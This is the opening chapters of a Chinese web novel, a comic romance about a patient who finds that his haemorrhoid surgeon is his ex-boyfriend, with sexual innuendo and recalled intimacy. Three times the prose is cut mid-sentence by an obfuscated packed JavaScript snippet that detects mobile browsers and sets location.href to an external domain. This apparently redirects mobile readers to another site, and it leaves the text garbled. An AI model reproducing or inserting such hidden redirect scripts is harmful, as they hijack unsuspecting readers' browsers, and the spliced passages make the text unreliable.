《割痔医生是前男友》 1. 第1章 “哩呜——哩呜——” 救护车急速迫近,随着一声刺耳的刹车鸣响,戛然停在宁城市第三医院门口。 “患者什么情况?”接待的急诊医生箭步冲上前,焦急问道。 “患者自述在家里睡觉时有刺猬钻入□□,直肠已有多处被刺穿,病人失血过多已休克,刺猬取不出来,需要紧急手术!” “快!给韩大夫打电话!”急诊医生高声喊道,快速将可移动担架推向急诊室。 刚取完挂号条的言叙被这阵仗惊了一瞬。 “刺猬钻进□□......”言叙不由得怀疑自己的听力是不是出问题了。 不过,他没时间八卦别人的事,他得赶紧看完医生回去补觉,晚上还要上夜班。 肛肠外科,15楼。 言叙把口罩往上拉了拉,他的病有些难以启齿,怕遇到熟人。 若不是今天早晨上完厕所那场面血腥得像极了杀人现场,他也下不定决心来医院。 在机器上报完道,言叙找了个没人的座椅坐下来,旁边诊室不时传来瘆人的嚎叫,言叙有些紧张,刷小地瓜转移注意力。 直到走廊里渐渐冷清下来,言叙看了下时间,快要11点了。 叫号显示屏上显示: 3诊室,张博主治医师 正在就诊:王*,门外侯诊:言*。 下一个就轮到他了。 言叙站起来走到诊室门口,等了几分钟,门开了。 从里面出来的是一位男性患者,脸上的表情有些扭曲,看了言叙一眼,然后以企鹅走路的姿势摇摆走了。 后知后觉地,言叙闻到一阵恶臭。 言叙被眼前的景象震惊到了: 穿着白大褂的主治医师,满头,满脸,满身,都是黄色的排泄物,还在往下滴。 这是,厕所炸了? 主治医师生无可恋地摘掉眼镜,歉然道:“实在是抱歉,我现在这样没法给您看诊了。” 言叙点点头表示同意和同情。 就算医生爱岗敬业,负屎也要坚持要给他看,他也实在无法承受。 “不过不用担心,我现在就摇人,不会耽误您太长时间的,还请您去隔壁诊室等几分钟。” “好,没问题。”言叙忙不迭逃到了隔壁的空诊室。 - 韩翊行从手术室出来,身后跟着几个观摩学习的实习生。 “韩老师真是医术精湛,妙手回春啊!”一个叫叶成的实习生竖着大拇指拍马屁。 “是啊是啊!若不是韩老师这高超的手法把刺猬取出来,恐怕刚才那个患者就得把直肠末端切除了吧。”有人附和。 “要是切除的话,就得做造口,以后都得挂着便袋了吧?” “韩老师,您觉得那刺猬真的是自己钻进去的吗?” 韩翊行面无表情地扫了他们一眼,“让你们拟的药方拟好了吗?” 实习生们要学习的不仅仅是怎么开刀,怎么缝合,还有术后的药物治疗,韩翊行刚才让他们每个人给患者拟一个方子,用于消炎镇痛。 “拟好了,拟好了!”实习生们把处方单递给韩翊行。 韩翊行匆匆扫过,凝眉不语。 “这个是谁写的?”韩翊行挑出一张。 叶成笑着举手:“我!” “嗯,”韩翊行看着他的处方单,“吃了你开的药,病人以后就再也不用来看医生了。” 叶成受到韩翊行的表扬,开心到起飞,刚要谦虚地推辞一下,就听韩翊行凉凉地说: “直接去看法医了。” 几个实习生哄堂大笑,叶成有些不好意思地找挠挠耳朵,难为情地说:“阿司匹林......不至于......吃死人吧?” “没错,阿司匹林确实要用,但你看看你的写的用量:一日口服100kg,你是要把患者撑死吗?” 实习生又是一阵大笑,叶成的脸腾地红了,难为情道:“我把毫克写成千克了......” “你见过什么药是用千克来计量的?”韩翊行简直无语至极。 就在这时,他的电话响起来,“好,我几分钟就过去。” 他接完电话,对叶成说:“别跟人说你是我带的。” 转身去了电梯间。 - 言叙坐在隔壁诊室里,刚才的场景在他脑海中挥之不去。 手上加快了刷小地瓜的速度。 背后的门突然被推开了。 “抱歉,久等......”来人如是说。 听到这个声音,言叙心中一惊,“噌”地站起身,椅子刮擦地面发出刺耳的声音,他僵立在原地。 对方明显也是一惊,长身立在原地,白大褂下摆随着动作晃了晃,目光落透过金丝眼镜到他身上,脸上的表情意味不明。 诊室内的空气仿佛静止住了。 言叙手软,手机险些滑落,他紧急调整了一下握姿,将手机牢牢抓在手里。 却不小心碰到了手机屏幕。 手机里传来机械女音:让前男友跪着找你求复合的八个小技巧,建议收藏,不然下回就找不到了。第一,以退为进...... 言叙回过神,手忙脚乱地想把视频关掉却不小心打开了手电筒。 一通忙乱,诊室里总算恢复安静。 他低头看着脚尖,大脑飞速运转。 他今天来特意戴了口罩,韩翊行应该没认出他来吧?如果认出来了,韩翊行那么恨他,会在这里打他一顿吗? 韩翊行长腿迈了两步,走到诊室内侧医生的位置边坐下,晃了晃鼠标,电脑屏幕亮起,他打开接诊系统。 “请坐。”韩翊行淡淡道。 言叙从这话里完全判断不出他的情绪,也不能确定韩翊行到底有没有认出自己。 只得战战兢兢坐回原位。 “姓名。” 言叙想着,如果他现在调头就跑,以他现在屁股疼痛的程度,有几分胜算能跑赢韩翊行。 就在思绪混乱之时,他的手机突然响了起来。 言叙像是抓住了救命稻草。 他站起身礼貌地对韩翊行说:“不好意思医生,我接个电话。” 说着转身要出诊室。 他打算出去了就跑到楼梯间,最好先往上爬一层楼梯,然后再等电梯,因为常人要逃跑肯定是直接往下走,他如此逆向思维,等韩翊行意识到他逃跑了,也只会追到一个错误的方向。 言叙向门口的方向只走了一步,就听到身后韩翊行幽幽地说:“接个闹钟?” 言叙浑身一凛,韩翊行怎么知道响的只是闹钟? 虽然他这手机还是7年前那一个,但这么长时间过去了,韩翊行总不会还记得他来电铃声和闹钟铃声的区别吧? 言叙还想狡辩一下:“不是......闹钟,真的是电话。” 铃声还在响。 韩翊行往椅背上一靠,拿起自己的手机,扫了眼电脑屏幕上的患者资料,在手机上输入了一个号码,然后拨了出去。 不出两秒,言叙手机上响的铃声猝然停止,又被另一个铃声取代了。 韩翊行抱起手臂,意味深长地看着他。 言叙看着屏幕上跳动的“学长”两个字,无声叹了口气。 韩翊行这些年居然没换过号码。 “我是受张博医生之托来替他接诊的,你要是走了,我没法跟张医生交代。” 韩翊行坐直了身子,拿起鼠标,盯着电脑屏幕上的患者资料。 言叙自觉理亏,老老实实坐回韩翊行对面的椅子上,低着头抠手指。 “哪里不舒服?” 言叙闻言稍稍抬了抬视线,只见韩翊行修长的手指搭在键盘上,准备输入病历。 韩翊行的手指细长很有骨感,没有戴戒指。 言叙记忆里,这双手掌心和指根处有一层薄茧,干燥粗糙温暖。 想起来,言叙有些脸热。 生病的部位本来就已经令人难以启齿,谁知道看病的医生居然还是七年未见的前男友。 言叙觉得自己这运气买张彩票就可以准备中五百万了。 “就是......那里......疼,上厕所的时候......出血。” 韩翊行手指噼里啪啦在键盘上翻飞,“有没有分泌物?” 言叙的脸“唰”地一热,幸好有口罩挡着,他猜想韩翊行应该看不到。 韩翊行问的是医生问病人的正常问题,可是声音传到他的耳朵里,再配上韩翊行这张脸,言叙脑子里却不合时宜不受控制地浮现出限制级的画面。 以前在一起的时候,韩翊行在床上总喜欢逗他。 “宝宝,你怎么这么多水。” 言叙就很害羞,嗔怪道:“你能不能正经一点学长。” 韩翊行就立刻一本正经地说:“这位患者,你有好多分泌物......” 言叙就羞恼地咬他肩膀。 ...... 韩翊行接着问:“痒不痒?” 言叙紧紧咬着下嘴唇,半天不说话。 简直羞耻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305470|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩翊行盯着他红透的耳尖,无声地嗤了一声。 “裤子脱了。” 言叙瞪大眼睛盯着韩翊行。 韩翊行抱起手臂,面上的表情云淡风轻,抬抬下巴指了指一旁的治疗床。 “趴床上。” 言叙颤巍巍站起身,手足无措地搓着裤边,犹豫着说: “学......韩大夫,这......不太好吧?” 韩翊行:...... 韩翊行瞥了他一眼,无声地哂笑。 “什么不太好?” 言叙局促地低着头,没想到韩翊行突然往前迈了一步,与言叙面对面,仅隔一臂之遥。 韩翊行取下自己胸前夹着的工作证,举到言叙面前。 言叙不明所以地看着工作证。 韩翊行的证件照是七年前言叙跟他一起拍的,那时他们还有半年就要毕业,填各种资料都需要证件照。 拍照出发前言叙涂了润唇膏,韩翊行装模作样说自己嘴唇也干,于是恬不知耻地从言叙嘴唇上“借”了点。 那天心情很好,以至于拍照的时候摄影师有些无奈地对韩翊行说:“拍证件照不需要笑那么开心哈。” 虽然几经克制,还是能从照片上看到韩翊行眼睛里满溢而出的笑意。 不像现在。 从韩翊行的眼睛里看不出任何情绪,漆黑的瞳仁像是深不见低。 “看清楚了吗?” 言叙被这质问拉回思绪,点了点头,“嗯”了一声。 “怎么样?” 言叙挠挠头,被这没头没脑的问题搞得有点懵。 怎么样?这种情况下他应该夸奖的对吧? “挺帅的。”言叙赞扬道。 韩翊行“啧”了一声,指着工作证上的头衔。 言叙这才把注意力放在那一行字上:副主任医师。 原来韩翊行是让他看自己的头衔? “我是专业的医生,检查患病部位是诊疗过程必不可少的步骤,还麻烦您配合一下。” 言叙感觉自己被架在火上烤。 内心天人交战了一个世纪,言叙牙一咬,心一横。 看就看吧,反正又不是没看过。 他解开裤子褪到腿弯,上半身往床上一趴,脸埋在双臂之间,像一只鸵鸟。 韩翊行戴一次性橡胶手套时发出的摩擦声都重重击打着他的神经。 阅臀无数的韩副主任原本以为自己面对任何情况都波澜不惊了,可是在看到言叙那片白生生的软肉时,还是感受到了巨大的视觉冲击力。 以至于他条件反射地闭了下眼,努力稳了稳心神,才得以继续。 眼前的景象和七年前的某些重合,没有人比他更熟悉言叙的身体了。 言叙身上白白净净的,除了胯骨右侧有一颗被他碾磨过很多次的小红痣以外,其他地方都是滑滑腻腻的。 不过那是七年前了。 这七年里,不知道是否已经有别人取代了他的位置。 专业性让韩翊行迅速打住胡思乱想,他开始检查言叙的患病部位。 肉眼可见有脱出的痔核,韩翊行手放上去,言叙很明显地哆嗦了一下。 按照惯例需要进行指检,但此刻言叙的状态太紧绷了。 “别那么紧张,分开点。” 言叙双手抱着脑袋,越是努力放松,越紧绷。 韩翊行控制住自己想要在他屁股上拍一巴掌的冲动,就站在一边,看着他费了半天劲,好不容易稍稍放松一些了。 韩翊行说:“我要开始了,可能会有点疼,你忍一下。” 言叙死死咬着下嘴唇。 熟悉的感觉让他觉得羞耻,他没觉得疼。 就在这时,门突然被推开。 “韩老师,我能来观摩病例吗?”是刚才那个叫叶成的实习生。 刚才韩翊行说让他别说是自己带的实习生,叶成想了半天,还是要积极表现一下,不让带教老师对他太失望才好。 没想到,他门还没推开,就见韩翊行以迅雷不及掩耳之势把隔帘给拉上了。 紧接着就是阴沉沉的命令:“出去!” 叶成的沮丧值达到了顶峰。 以前,无论是门诊还是手术,韩翊行都带着他们的。 可是这次,韩翊行居然把帘拉上不让他看,还让他出去,那语气凶得,好像他看的不是病患,而是偷看他老婆洗澡一样。 叶成哭丧着脸在实习生群里发了个大哭的表情:完了,韩老师不要我了。 2. 第2章 “内痔脱垂,不能自主纳入,已经四期了,有破裂风险,建议手术。”韩翊行一边摘手套一边说。 言叙在提裤子,听到“手术”两个字时有些犯怵。 吃药怕苦,输液怕疼,如今居然需要手术? 他把刚才趴在床上时弄掉的口罩扔到垃圾桶,反正在这个尴尬的场合连前男友都见了,也没什么遮着脸的必要了。 韩翊行在电脑上打什么东西,言叙坐回椅子上,想讨价还价,看看不手术行不行。 “韩大夫,能不能......不手术?” 韩翊行斜着目光瞥了他一眼,正好看到他嘴唇上破了一块,像是被人咬的。 韩翊行眼睛眯了眯,收回视线。 打印出嗡嗡作响,刚打出来的单子有些烫手。 韩翊行语调却是冰凉的:“不能。” 他拿起一支笔,在住院申请单上签字。 签完字才意识到写错了,于是有些恼火地把笔摔到桌上,重新打印。 那支笔骨碌了两下,掉到言叙的脚边。 言叙弯腰把笔捡起来,递给韩翊行。 韩翊行接过笔的时候,指尖不小心碰到了言叙的手。 言叙触电般缩回了手。 韩翊行带着微微的怒意,拿过桌旁的消毒酒精喷雾,把自己的手,连同那支笔都喷了个精湿。 酒精的味道顿时充斥了整个房间。 还真是薛定谔的洁癖,言叙心中暗暗地想。 这人之前亲他的嘴,吃他的剩饭,给他扩张,甚至给他口的时候,都没洁癖。 现在只是不小心碰了下手,就要消毒了。 韩翊行把重新打印的单子签好了字,放到言叙面前。 “去办住院。” 言叙看了单子一眼,赶紧问:“韩大夫,那个,我下午还有事,办不了住院。” 韩翊行没什么情绪起伏地说:“那就明天上午。” 言叙犹豫了下,最终只是说:“谢谢韩大夫。”拿着单子便出了门。 张博过来的时候,看到韩翊行正站在窗边往外看。 张博凑过来,看到医院大门口人来人往,有个人手中拿着一张纸在看,有些失神,被别人撞掉了,还被风吹走了。 那个人走路的姿势看起来有些别扭,追了几步,把纸捡回来,小心翼翼地装到包里。 张博撞了撞韩翊行的肩膀:“患者去做检查了?” “走了。” “谢了老韩,”张博开始抱怨,“我今天真是倒大霉了,那个患者要喷之前都不知道告诉我一声......” 絮絮叨叨了半天,韩翊行不以为意,敷衍了一句:“当医生这么多年了,应该早习惯了。” “不习惯还能怎么办。”张博走到桌边,看到桌上一张单子,拿起来盯着上面的手写签名看。 “言余又?这是谁?我们科室新来的医生吗?” “写错了。”韩翊行拿过那张把自己名字错签成了“言叙”的住院单,扔进垃圾桶。 张博和韩翊行同年毕业,同年进的三院。 张博年纪比韩翊行大四岁,听说韩翊行上学的时候跳级比跳皮筋还容易,工作了之后,升职比升旗还快,29岁已经是副主任医师了。 反观自己,张博觉得,升职比升天还难,论文那东西是人写的吗? 韩翊行有天分是一方面,另一方面,人家除了接诊、手术,就是搞科研,像一台机器一样,恨不得一天工作24小时,一周工作七天。 天才比你更勤奋,在这一点上,别人想嫉妒都不好意思。 差距是客观存在的,不过张博跟韩翊行关系不错,也是真的。 “下周的排班表报上去了吗?”韩翊行问。 主任原本是让韩翊行负责排班,但排班这件事太琐碎,韩翊行没时间弄,便推了,于是重任落到了张博身上。 今天是周日,明天就是下周了。 “报上去了,”张博说,“放心吧,你周一到周三,休三天,我给你安排好了都。” “我明天不休了。” “为什么?你不是要回北城给你爷爷过八十大寿?” 韩翊行的爷爷下周二过八十大寿,他周一坐飞机回去,周三回来,时间已经够紧了。 “我明天下班再去机场,凌晨5点落地,能赶得上寿宴。”韩翊行平静地说。 虽说是赶得上,但是上一天班够累的,还要坐红眼航班,至于把自己搞这么累吗? “明天有重要的事吗?”张博不解地问。 “可能会有手术。” 张博疑惑地看着韩翊行。 什么叫可能会有手术?你韩大主任的手术都排到一个月以外了,每一台手术精确到时分秒,明天有什么重要人物让你连休假都改了,还不能确定患者会不会大驾光临? - 言叙住的地方离市三院不远,他从医院出来就像失神落魄的游魂一样飘回家。 拿出一根烟叼在嘴里,按下打火机的前一秒又后悔了,把烟塞回烟盒里。 他还以为这辈子都见不到韩翊行了。 就算再见,至少自己也应该是体体面面的。 而不是像今天这样,让韩翊行看自己难以启齿的病。 韩翊行怎么会在宁城?博士毕业那年,他不是要去北城第一医院吗? 他的家在北城,他读书也在北城,他三年规培在北城一院,他的父亲当时是北城一院的副院长。 那时韩翊行是想要当名心外科医生的,现在为什么会在宁城,为什么会在肛肠科? 还有他欠韩翊行的20万,韩翊行为什么当年没有报警,再见到他也没有讨要? 各种疑问在言叙脑子里打转,思绪乱成一锅粥。 言叙脱光衣服来到浴室。 浴镜前的自己灰头土脸,嘴唇破了一块皮,还肿了起来。 他租住的地方是一个尖顶阁楼,仅在尖顶的地方够他站直身子了。 层高很低就算了,还到处是横梁,一不小心就会磕到。 他这嘴唇就是今天早上刷完牙一转身不小心磕破的。 蓦地想起在诊室里,自己给韩翊行递笔的时候,碰到韩翊行的手时他那嫌弃的神态。 言叙站在淋浴下,用冒着热气的水冲刷自己身上的脏污,拿毛巾用力搓。 洗完澡的时候,身上几处都被搓出了血点子。 眼睛也通红。 他和韩翊行曾经亲密无间地躺在同一张床上,而现在,他们已经是两个世界的人了。 - 下午4点,下了手术,韩翊行掏出手机,除了有一个堂哥的未接来电和微信上几条群消息之外,并没有其他的。 他打开堂哥的微信,打字过去:明天你自己走吧,我有事,航班改签了。 韩翊行的堂哥在南方某市公安局工作,听说刚刚升了刑警队队长。 这次给老爷子祝寿,堂哥要在宁城转机。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305471|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 二人原本订的同一班飞机,堂哥打电话过来原是想问问明天什么时候出发去机场,没想到韩翊行把他丢下了。 堂哥发来个OK的表情,没再说什么。 晚上高峰组局喝一杯,叫了韩翊行和张博。理由是庆祝他顺利接生一万个婴儿。 高峰是韩翊行大学室友,他们读的是本硕博八年连读,所以名义上高峰和韩翊行是八年室友关系。 可实际上,研二的时候,韩翊行就和言叙校外租房住了,偶尔才会回寝室。 一见到韩翊行,高峰便神神秘秘地说:“老韩,你猜我今天看见谁了?” 韩翊行兴致不怎么高,也懒得理他,没搭腔。 旁边的张博倒是给高峰面子:“你看见谁了?” 张博和他们同一届但不同校,三个人是同一年进的宁城三院,关系都不错。 “言叙!”高峰说话的语气表明他十分亢奋,“我看见言叙了!” 原本以为韩翊行听到这个名字会震惊,没想到韩翊行只是淡淡地“哦”了一声,自己给自己倒了杯酒,喝了一口。 “你这状态不太对劲啊老韩。”高峰捏着下巴,审视地看着韩翊行。 张博问:“言叙是谁啊?” 韩翊行闷头喝酒不说话,不像是会给他答疑解惑的。 高峰抬下巴指了指韩翊行:“前男友。” 张博惊得合不拢嘴:“就是,就是那个小赌鬼?卷走老韩二十万的那个?” 高峰讳莫如深地点点头。 韩翊行本来就不怎么明朗的脸色又阴沉了几分。 这时,韩翊行放在桌上的手机响起来。 张博瞟了一眼,陌生来电,上边写着325人标记广告推销。 韩翊行拿起手机往洗手间走:“我接个电话。” 张博压低声音:“你说老韩是不是有接电话强迫症?漏接一个电话都浑身难受。” “怎么说?”高峰问。 “无论是什么电话,必然都要接,如果因为做手术错过了,还会一个一个打回去。” 最严重的时候,之前一个患者因为自身原因手术失败,把责任都推到韩翊行身上,在网上造谣抹黑他,还公布了他的私人手机号。 义愤填膺的网友很容易被挑起医患对立,一窝蜂打电话过来骂韩翊行是黑心医生。 在身陷舆论漩涡被院长放假的情况下,韩翊行手机都没有关机,每一个陌生来电都接,确认对方只是骂他才会挂断电话。 两人正窃窃私语,韩翊行回来了,闷头坐回原位,把剩的半杯酒灌下去。 “老韩,”高峰给他把酒满上,“言叙这次,该不会是想找你复合的吧?” 韩翊行想起在诊室的时候言叙看的那个视频。叫什么让前男友跪着求你复合的八个小妙招? 不知道他想钓的,是哪个前男友。 他又有几个前男友。 他嘴唇上的伤口是谁咬的。 韩翊行眼睛也不抬,冷声说:“他想复合就复合,他以为他是谁?” “看到你这么坚决我就放心了,我是真怕你再被他骗啊,”高峰意味深长地说,“不过,要是他对你死缠烂打怎么办?” 韩翊行似乎是认真思考了两秒,将满满一杯酒一饮而尽,酒液从唇角溢出,顺着锋利的下颌线滑向线条优越的侧颈。 韩翊行把酒杯往桌上一戳,有些咬牙切齿地,一字一顿道: “缠一次、打一次。” 3. 第3章 言叙从下午两点躺到晚上八点,毫无睡意,睁着眼睛盯着尖顶的天花板。 他想到,当年第一次见韩翊行的时候,他就是这样躺着的。 那时他刚上大一没多久。 医学院的教授给他打电话让他当“活体教具”的时候,他还以为是诈骗电话。 后来,他搞明白了。 因为他身体构造特殊,医学院老师想让他作为被研究对象出现在课堂上,他需要做的,就只是躺在那里。 那节课的教室是个很大的阶梯教室,教室前面挂着两个投影幕布,一个角落里放着两个简易屏风。 言叙要做的,就是躺在简易屏风和墙角构成的相对私密的小空间里,等人给他做彩超。 超声画面会实时投影到幕布上。 那天言叙到得早几分钟,躺在窄窄的小床上,有些无所适从。 好不容易等到开始上课了,教授的声音从扩音器传向整个教室。 “韩翊行同学,麻烦你为大家展示一下我们今天要研究的这个案例。” 教室里一片安静,一阵脚步声由远及近。 简易屏风被拉开一道缝,一个清瘦帅气的男生侧身进来,又把屏风摆回原位。 言叙抿了下嘴唇,有些无措地眼珠乱转。 “同学,麻烦你把衣服撩起来,”韩翊行一手拿着藕合剂,另一手比了比锁骨那个位置,“撩到这里。” 言叙觉得耳朵有点痒,不由得微微耸了耸肩膀,犹豫了0.5秒,把卫衣的下摆往上推,推到胸腹全部暴露出来,用下巴把衣服夹紧。 他觉得有点羞耻,早知道就不接这个活了。 他感觉自己像案板上等待着被开膛破肚的鱼,不安极了。 韩翊行抬起右手摸了摸自己的后脖颈,稍稍清了下嗓子,顿了两秒,像是下了很大决心。 “同学.......那个......裤子也需要往下褪一点。” 言叙:...... 他现在退出还来得及吗? 言叙现在骑虎难下,只能破罐子破摔,把运动裤的裤腰往下推了一些。 因为躺着,胯骨尖凸起得很明显,旁边陷下去一个小坑。 韩翊行拧开耦合剂瓶子的盖子,由上而下呈蛇形小心翼翼地挤到言叙身上。 冰冰凉凉的触感让言叙不由自主地打个颤。 挤到下边,韩翊行看到言叙右侧胯骨边缘有一颗浅红色的小痣。 一阵柑橘香味侵袭他的鼻腔。 视觉嗅觉神经像是受到了某种冲击,手突然就不听使唤地抖了一下。 耦合剂全挤到言叙裤子上了,而且还是那个令人尴尬的部位。 韩翊行赶紧把耦合剂瓶子放下,从旁边抽了几张纸,手忙脚乱地给言叙擦。 言叙从胸到腹都是耦合剂,也不敢坐起来,只能硬生生咬牙挺着。 后来韩翊行拿着探头在他身上滑来滑去的时候,言叙只感觉自己的灵魂飘在半空中。 教授讲课的声音全都化成了嗡嗡声,他一个字也没听进去。 10分钟像一个世纪那么长。 最后,韩翊行如释重负地喘口气,把探头放在一旁,抽出纸巾给言叙擦身上的东西。 言叙回过神,抢过纸巾,小声说:“我自己来吧学长。” 简单擦拭了一下,言叙坐起来,又抽了几张纸,再细细擦一遍。 韩翊行原本是站在一旁,高高的个子,居高临下地看着言叙的头顶。 看了下言叙的裤子,韩翊行实在是很抱歉,于是抽了两张纸,半蹲在言叙身旁,抬手要去擦他的裤子。 言叙像是受了惊吓般,把腿并紧,侧向一旁。 “同学,刚才实在是对不起了,把你裤子弄脏了,”韩翊行压低声音说,“我再给你擦擦吧。” 说着,掰过言叙的腿,就要上手。 言叙条件反射地把他的手推开,像是推开当街调戏良家少男的小流氓。 两个人都愣了一瞬。 言叙想这屋子里坐了好几百号人呢。 但是不解释,又怕学长心里过意不去。 于是言叙朝韩翊行勾了勾手指,韩翊行附耳过来。 言叙凑过去在他耳边用气音说,“学长,你再擦我就要ying啦。” 清淡的柑橘味瞬间充盈鼻腔,韩翊行的脸暴红,僵在原地。 言叙扯了扯衣服,推开屏风,逃出了教室。 完全没有留意到自己的校园一卡通落在了他刚才躺的那张小床上。 韩翊行把那张校园卡收进自己衣服口袋里,心里涌上一股悔意:今天来上课之前应该洗个头的。 - 韩翊行第二天起得很早。 他打开冰箱把前天剩的蛋糕吃了。 他不怎么爱吃甜食,吃了几口奶油,感觉有点腻,又灌了杯冰凉的水才稍稍缓解。 到医院的时候比平时早一个小时。 晚班护士见到他有些惊讶:“韩医生,今天怎么来这么早?” 韩翊行打了个招呼,说:“睡不着,也没别的事,就提早过来了。” 另一个护士笑嘻嘻地开玩笑:“真羡慕韩医生这样的新人类,把睡眠都进化掉了。” 韩翊行笑笑,没说什么,回诊室去了。 两个护士见韩翊行走远了,小声叽叽咕咕。 “韩医生今天怎么打扮这么帅?该不会是要去相亲吧?” “补药啊,我男神这样的帅哥是属于大众的!” “快30了,也该考虑一下个人问题了。” “才29好不好?哪里就30了......” ...... 原本韩翊行今天是排的休息,所以今天既没有门诊,也没有手术。 由于排班表已经报上去了也改不了了,所以韩翊行是占了休息日的额度在上班。 在诊室坐了半天,把最新的医学资讯都浏览完了,还没到8点。 韩翊行拿起水杯去开水房打水,没想到院长也在这。 “院长早。”韩翊行朝院长打个招呼,拧开水龙头接热水。 “小韩啊,”院长60多岁,一头白发,但看起来精神矍铄,“你那个癌细胞自体反噬技术进展到哪一步了?” 韩翊行把杯盖拧紧,晃了晃没漏水,“上个月从患者身上取了癌细胞,目前已经完成了细胞核改造,跟患者商量,这周五会做把改造好的细胞重新放置回患者体内。” 院长点点头,语重心长地说:“这项技术,目前在国际上也是空白,你这次如果能成功,那必然会在医学界引起巨大的轰动。” 韩翊行平静道:“目前只是理论可行,改造过的癌细胞置回体内后,增殖特性如何,基因会不会再次发生突变,都是未知数。” 作为一位有40年临床经验的老医生,院长当然知道这些。 “年纪轻轻,不骄不躁,小韩啊,我看好你。” 韩翊行淡淡笑道:“谢谢院长。” “患者的身体状况怎么样?” 韩翊行说:“目前相对稳定。” “那就好,那就好。”院长拍了拍韩翊行的肩膀,离开了。 中午的时候,张博拎着饭盒来找韩翊行吃饭,韩翊行坐在椅子里,脸色不怎么好看。 昨天听高峰说完韩翊行前男友的事,回家后张博想起昨天韩翊行的反常。 今天上班后第一件事就是登录自己的接诊系统看了下昨天的接诊记录。 果不其然,最后那个患者就是言叙。 张博看了下病例,只是普通的内痔脱垂伴有出血,虽然对患者来说是很痛苦的病,但在他们肛肠科医生看来,这就是最无聊的病了。 “没来?”张博坐韩翊行对面,问道。 韩翊行不说话。 张博摇摇头,叹了口气,看这表情就知道肯定是等的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305472|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人没到。 狼吞虎咽地吃了几口饭,他一上午接诊了50多个病人,饿得头昏眼花的。 喝了口水把嘴里的饭咽下去,张博打量着韩翊行。 认识7年了,他没见过韩翊行这副样子。 不是生气,不是伤心,到底是什么,张博也不好说,就感觉阴沉沉的。 张博说:“我看他那病也不是什么疑难杂症,没什么难度,那个手术我应该也能做。” 韩翊行“嗯”了一声。 “要不,你回去休息?”张博试探地说,“你看你这黑眼圈都出来了,晚上11点还要坐飞机。要是他来了,我就先让他住院,抽个空也能给他做了。” 韩翊行说:“不用了。” 张博“唉”了一声,“你说你这是何苦,在这白加一天班也不给你发加班费,好心还被人当成驴肝肺。” 韩翊行苦笑一下,没有再说什么。 - 言叙凌晨4点才下班,在24小时营业的药房买了点药膏。 天冷得呵气成冰。 言叙突然想起来,前天是冬至,他忘了吃饺子,不知道耳朵会不会被冻掉。 他住的楼顶本来就是冬冷夏热,还没暖气,他又不舍得开空调。 洗完澡哆哆嗦嗦着给自己抹了药膏,裹紧被子。 他实在太累了。 前天晚上本来凌晨4点能下班,但是有几个客人喝多了打架,把酒吧砸得乱七八糟,言叙又被留下来收拾残局。 7点多回到家,上完厕所宛如杀人现场,于是痛下决心去医院挂了号。 见完韩翊行回来,他翻来覆去怎么都睡不着,晚上9点又直接去上班,一直上到了凌晨4点。 他没打算去找韩翊行做手术,他没医保,做手术全自费的话,恐怕要一万以上了,他负担不起。 即便负担得起,他也不会找韩翊行做。 韩翊行虽然没提那20万的事,但他不能没脸没皮地赖着不还。 他的生父言怀英半年前因为尿毒症去世了,借的亲戚的钱还差几万没还。 在他有能力还清韩翊行那20万之前,他不会去见韩翊行了。 困意倦意袭卷而来,言叙昏昏沉沉地睡了过去。 - 下午,实习生叶成鬼鬼祟祟推开韩翊行诊室的门。 “韩老师,”叶成低着头,像个做了坏事被老师叫到办公室的学生,“我错了,我以后一定认真完成您布置的作业。” 韩翊行聚精会神地盯着手机屏幕,淡淡“嗯”了一声。 叶成一下子开心了,差点当场兴奋地跳起来。 “那您以后还能让我观摩病例吗?” 韩翊行斜着视线瞥了他一眼:“我什么时候不让你观摩病例了?” 叶成不敢说,昨天他被韩翊行那一声“出去”给吓到了,担心得一晚上没睡着,害怕韩翊行真把他踢出去。 “那您给我布置个任务吧,什么任务都行,我保证认认真真保质保量完成。” 韩翊行推了下眼镜,椅子稍微偏了个角度,转向叶成,审视的目光从头到脚地扫过。 韩翊行淡淡说:“你给我打个电话,看我手机是不是停机了。” “啊?”叶成目瞪口呆,这是什么新型考验?这里面有坑吗?有没有有经验的学哥学姐来帮我解答一下啊,在线等,急! 叶成有些摸不着头脑,疑惑地拿出自己的手机,拨通了韩翊行的号码。 韩翊行手机屏幕亮起来,经典版的手机铃声响彻诊室。 叶成兴奋地说:“老师,好消息!你的手机并没有停机!” 韩翊行的脸色反而阴沉了几分:“知道了。” 叶成挠挠头,“那我的考验算是通过了吗?” 韩翊行声音凉飕飕的:“没有。” 叶成一脸的期待当即就垮了下去。 妈妈呀,这是什么考验啊,太难了吧! 4. 第四章 回北城的飞机上安静倒是挺安静的,就是灯光太亮了,韩翊行想补个觉都睡不安稳。 